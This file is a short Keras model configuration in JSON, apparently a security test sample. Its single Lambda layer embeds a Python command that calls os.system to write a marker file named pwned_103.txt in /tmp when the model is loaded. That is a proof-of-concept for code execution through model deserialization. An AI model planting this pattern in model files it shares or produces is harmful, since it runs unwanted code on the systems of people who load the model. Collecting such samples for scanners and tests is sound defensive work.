{
  "class_name": "Sequential",
  "config": {
    "name": "sequential",
    "layers": [
      {
        "class_name": "Lambda",
        "config": {
          "name": "lambda",
          "function": {
            "class_name": "function",
            "config": "import os; os.system('echo TF_LAMBDA_ACE > /tmp/pwned_103.txt')"
          }
        }
      }
    ]
  }
}